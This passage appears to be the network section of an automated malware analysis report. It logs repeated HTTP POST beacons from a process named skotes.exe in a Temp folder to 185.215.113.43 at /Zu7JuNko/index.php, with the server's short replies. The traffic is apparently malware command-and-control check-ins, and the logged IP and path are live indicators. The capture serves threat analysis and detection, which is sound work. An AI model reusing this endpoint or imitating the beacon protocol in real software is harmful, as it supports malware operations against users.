Nov 15, 2024 16:19:38.996562004 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:19:39.903275013 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	57617	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:41.527297020 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	57618	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:43.061878920 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:19:44.011442900 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	57619	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:45.636092901 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:19:46.544367075 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	57620	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:48.075129032 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:19:48.990427017 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	57621	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:50.616660118 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:19:51.548191071 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	57622	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:53.057873011 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:19:54.000070095 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	57625	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:55.619945049 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:19:56.525861979 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	57626	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:58.042356968 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:19:58.979074001 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	57627	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:00.604749918 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:20:01.510982990 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	57628	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:03.031228065 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:20:03.937689066 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	57629	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:05.570254087 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:20:06.488564014 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	57630	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:08.011835098 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:20:08.910942078 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	57631	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:10.543533087 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:20:11.474353075 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	57632	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:12.999243021 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:20:13.915822029 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	57633	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:15.545675039 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:20:16.647677898 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	57634	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:19.074919939 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:20:19.996933937 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	59628	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:21.620415926 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:20:22.531531096 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	59629	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:24.042980909 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:20:24.989145994 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	59631	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:26.621237993 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:20:27.538919926 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	59632	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:29.058568001 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:20:29.992078066 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	59633	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:31.610858917 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:20:32.556288958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	59634	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:34.074073076 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:20:34.986337900 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:20:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	59635	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:20:36.620713949 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
